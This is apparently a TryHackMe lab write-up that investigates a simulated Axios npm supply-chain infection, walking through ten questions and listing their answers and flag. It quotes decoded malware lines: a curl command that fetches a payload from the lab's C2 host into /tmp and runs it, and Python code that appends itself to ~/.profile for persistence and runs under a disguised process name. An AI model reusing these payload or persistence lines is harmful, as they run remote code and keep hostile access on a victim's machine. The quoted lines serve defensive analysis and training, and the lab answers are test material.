The scenario: Richard Lee, a junior developer on a blog redesign, recently started learning Axios. The SOC team flagged his Ubuntu laptop (lpt-18092) in the initial sweep. The job is to verify whether he was infected before the attackers make their next move.

Two malicious versions of Axios — 1.14.1 and 0.30.4 — were injected with a dependency that downloaded a second-stage RAT on Windows, macOS, and Linux. Security vendors attribute the attack to a North Korean financially motivated state actor (UNC1069). The attack chain: social engineering a maintainer via ClickFix, stealing his npm token, staging a fake dependency, injecting it into Axios, and letting every npm install do the rest.


Q1 — What is the version of the installed Axios library?

Confirmed Docker was running, then started hunting.

Docker confirmed running

The first find command across the entire filesystem produced too much output and had to be killed with Ctrl+C. Scoped it to /home instead:

find /home -name "package.json" 2>/dev/null
find /home returning package.json paths including Richard Lee's thm-blog directory

There it was in Richard's home directory. As my dad likes to say about something you're seeking: "It's always the last place you look."

cat /home/ubuntu/Desktop/thm-blog/node_modules/axios/package.json | grep '"version"'
axios package.json contents version: 1.14.1 confirmed

Answer: 1.14.1 — the malicious version from the briefing.


Q2 — What suspicious package does Axios depend on?

cat /home/ubuntu/Desktop/thm-blog/node_modules/axios/package.json | grep -A5 '"dependencies"'

The legitimate Axios dependencies are follow-redirects, form-data, and proxy-from-env. typing-coreutils is the odd one out — designed to look innocuous by mimicking coreutils. I was closely following this attack as it unfolded in the real world. THM swapped in typing-coreutils as the stand-in for plain-crypto-js.

cat /home/ubuntu/Desktop/thm-blog/node_modules/typing-coreutils/package.json | grep '"version"'
typing-coreutils version confirmed as 1.6.4

Answer: typing-coreutils@1.6.4


Q3 — What command is run after the package installation?

Looking for a postinstall hook — likely in typing-coreutils/package.json under the scripts section:

cat /home/ubuntu/Desktop/thm-blog/node_modules/typing-coreutils/package.json | grep -A5 '"scripts"'
scripts section showing postinstall: node postinst.js

Suspicions confirmed. The postinstall hook fires automatically the instant npm finishes installing the package — no user interaction required. I feel for anyone cleaning up the real-world fallout from this.

Answer: node postinst.js


Q4 — What is the encryption key for the JS strings?

cat /home/ubuntu/Desktop/thm-blog/node_modules/typing-coreutils/postinst.js
postinst.js — heavily obfuscated payload postinst.js continued — ord variable visible near the bottom

Shoutout to my Sec+ instructor for really hammering in the critical nature and diverse methods of obfuscation and deobfuscation. Right near the bottom:

ord = "OrDeR_7077"
ord = OrDeR_7077 — passed as the r parameter into every _trans_1 and _trans_2 call

ord is passed as the r parameter into every _trans_1 and _trans_2 call. For everything in the stq array, it's the encryption and decryption key for all obfuscated strings.

Answer: OrDeR_7077


Q5 — What is the full C2 URL found in the JS file?

The briefing suggested letting JavaScript deobfuscate itself via browser DevTools or Node.js. Firefox first — F12 to open DevTools, Console tab:

Firefox DevTools console open Firefox allow pasting prompt

Browser DevTools hit a wall — Buffer is a Node.js API, not a browser API. Moved to the terminal and saved the decode script to a file, then ran it with Node:

cat > /tmp/decode.js << 'EOF'
[full decode script with stq array and ord]
stq.forEach((s, i) => console.log(i, _trans_2(s, ord)));
EOF
node /tmp/decode.js
Node decode output — BINGO. Index 0: child_process, Index 3: C2 URL, Index 12: Linux payload

Breaking down the decoded output:

  • Index 0 = child_process — Node.js module for executing system commands
  • Index 1 = os, Index 2 = fs
  • Index 3 = the C2 base URL
  • Index 5 = win32, Index 6 = darwin — OS detection branches
  • Index 7 = Windows VBS payload, Index 9 = macOS osascript payload
  • Index 12 = Linux payload

The full URL is constructed by appending x — the argument passed to _entry. At the bottom of the original script: 1502068.

Answer: http://sfrquack.thm:8000/1502068


Q6 — What string is sent to the C2 to initiate the payload download?

The answer was in the decoded output from Index 12 — the Linux branch:

curl -o /tmp/.promise.py -d pypi.org/latest -s SCR_LINK && python3 /tmp/.promise.py SCR_LINK &
Decoded Index 12 — Linux curl payload with pypi.org/latest as POST body

The -d flag in curl means "data" — the POST body sent to the C2. pypi.org/latest is the string the infected machine sends to say "Hand me the payload." Artfully designed to look like a legitimate PyPI package request, blending in with normal developer traffic.

Answer: pypi.org/latest


Q7 — What absolute path was the initial Python payload dropped to?

Also in Index 12: -o /tmp/.promise.py. The -o flag specifies the output file.

Answer: /tmp/.promise.py


Q8 — What is the command line shown by ps aux?

ls -la /tmp/.promise.py
ls -la /tmp/.promise.py — permission denied as regular user

Permission denied. Always read carefully.

ps aux | grep python
ps aux showing python3 process running as root with PID 2030

Running as root with PID 2030. To find the full path:

sudo cat /proc/2030/cmdline | tr '\0' ' '
Full command line — python3 running from hidden path
sudo ls -la /proc/2030/cwd
/proc/2030/cwd pointing to /app — suspicious system directory

Running from /app — which had deleted itself. Time to dig into Docker:

sudo find / -name "server.py" 2>/dev/null
find showing server.py inside Docker overlay filesystem Docker containers — I spy containers
sudo cat /var/lib/docker/rootfs/overlayfs/8d09.../app/server.py
server.py source — C2 server serving promise.py when it receives pypi.org/latest

There's the queen herself — the C2 server, serving promise.py when it receives pypi.org/latest in the POST body. Exactly as deduced.

sudo find /var/lib/docker -name "promise.py" 2>/dev/null
promise.py located inside Docker overlay

The full RAT. From init_location():

PathStr = os.path.expanduser("~/.local/apt.conf")

And from do_set_location():

os.execve(sys.executable, ["unattended-upgr", PathStr], os.environ.copy())

It disguises itself as unattended-upgr — mimicking the legitimate unattended-upgrades process. Blends right in with typical Ubuntu background processes. Nice try, bad guys.

ps aux | grep apt.conf
ps aux confirming unattended-upgr /home/ubuntu/.local/apt.conf running

Answer: unattended-upgr /home/ubuntu/.local/apt.conf


Q9 — What MITRE persistence technique is used?

From init_location() in promise.py:

profile = os.path.expanduser("~/.profile")
line = f"({sys.executable} {PathStr} &)"
with open(profile, "a") as f:
    f.write("\n" + "# APT unattended upgrade")
    f.write("\n" + line + " >/dev/null 2>&1\n")
apt.conf — copied payload with C2 URL already substituted

This twisted little bug appended itself to ~/.profile, executing on every login shell. Disguised as a comment that reads # APT unattended upgrade to avoid scrutiny.

Answer: T1546.004 — Event Triggered Execution: Unix Shell Configuration Modification


Q10 — What is the decoded flag sent to the C2?

From the end of work() in promise.py: "content": "9FycwVGZfJXdvl3X0lGZ1F2eNhEV"

The string profile matched the stq array entries from the JS payload — same character set. Reversing it and base64 decoding:

python3 -c "import base64; s='9FycwVGZfJXdvl3X0lGZ1F2eNhEV'; r=s[::-1]; print(base64.b64decode(r + '=' * (4 - len(r) % 4)).decode('utf-8'))"
Final flag decoded — THM{audit_your_deps}

Answer: THM{audit_your_deps}


npm Debug Logs — Bonus Evidence

The cheat sheet mentioned npm debug logs as a detection opportunity worth knowing. The log from April 6th confirmed the postinstall firing:

sudo ls -la ~/.npm/_logs/
cat ~/.npm/_logs/2026-04-06T00_29_54_717Z-debug-0.log
npm _logs directory — one log from April 6th npm debug log line 22 — plain-crypto-js postinstall fired

Line 22: postinstall confirmed. During real npm supply chain attacks, these logs are often the clearest evidence of which dependency caused the infection and when. Worth knowing where they live.


Index 3 Deeper Decode

node -e "..._trans_2('_Iax9WsuF3bx1W8tFfKxlScuEPaxmSsrEvKx4SMvE/LxsSsvELaxiW8tF3Lx+ScuEXKx', ord)..."
Index 3 decode — C2 base URL confirmed

Not yet the full URL — the C2 address again, confirming the base. The full path came from the x argument at the bottom of the original script.


Full Investigation Summary

Q1  Axios version:           1.14.1
Q2  Suspicious package:      typing-coreutils@1.6.4
Q3  Postinstall command:     node postinst.js
Q4  Encryption key:          OrDeR_7077
Q5  C2 URL:                  http://sfrquack.thm:8000/1502068
Q6  String sent to C2:       pypi.org/latest
Q7  Initial payload path:    /tmp/.promise.py
Q8  PS aux command:          unattended-upgr /home/ubuntu/.local/apt.conf
Q9  MITRE persistence:       T1546.004
Q10 Decoded flag:            THM{audit_your_deps}